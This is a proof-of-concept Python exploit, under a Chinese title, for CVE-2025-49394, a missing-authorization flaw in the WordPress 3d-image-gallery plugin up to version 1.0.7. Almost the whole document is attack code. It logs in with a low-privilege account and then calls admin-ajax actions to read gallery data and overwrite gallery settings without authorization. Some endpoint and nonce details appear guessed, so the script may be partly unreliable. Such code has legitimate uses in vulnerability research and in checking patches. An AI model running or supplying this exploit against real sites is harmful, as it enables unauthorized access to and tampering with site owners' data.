CVE-2025-49394 WordPress Image Gallery插件缺失授权漏洞

# CVE-2025-49394 PoC - WordPress Image Gallery Plugin Authorization Bypass # Author: Security Researcher # Target: WordPress with 3d-image-gallery plugin <= 1.0.7 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_49394(target_url, username, password): """ Exploit missing authorization vulnerability in Image Gallery plugin. This PoC demonstrates how a low-privileged user can access admin functions. """ session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = urljoin(target_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed!') return False print('[+] Successfully logged in as low-privilege user') # Step 2: Exploit missing authorization - Access gallery admin functions # These endpoints should require admin capabilities but don't # Example 1: Get all gallery data (unauthorized access) admin_ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # Gallery listing endpoint payload = { 'action': 'image_gallery_get_galleries', 'nonce': '' # Some versions may not require nonce or have weak checks } resp = session.post(admin_ajax_url, data=payload) if resp.status_code == 200: print('[+] Successfully accessed gallery admin function without proper authorization') print(f'[+] Response: {resp.text[:500]}') # Example 2: Try to modify gallery settings modify_payload = { 'action': 'image_gallery_save_settings', 'settings': 'malicious_settings', 'gallery_id': '1' } resp = session.post(admin_ajax_url, data=modify_payload) if resp.status_code == 200 and 'success' in resp.text.lower(): print('[+] Successfully modified gallery settings (unauthorized)') return True if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print('Example: python exploit.py http://target.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_49394(target, user, pwd)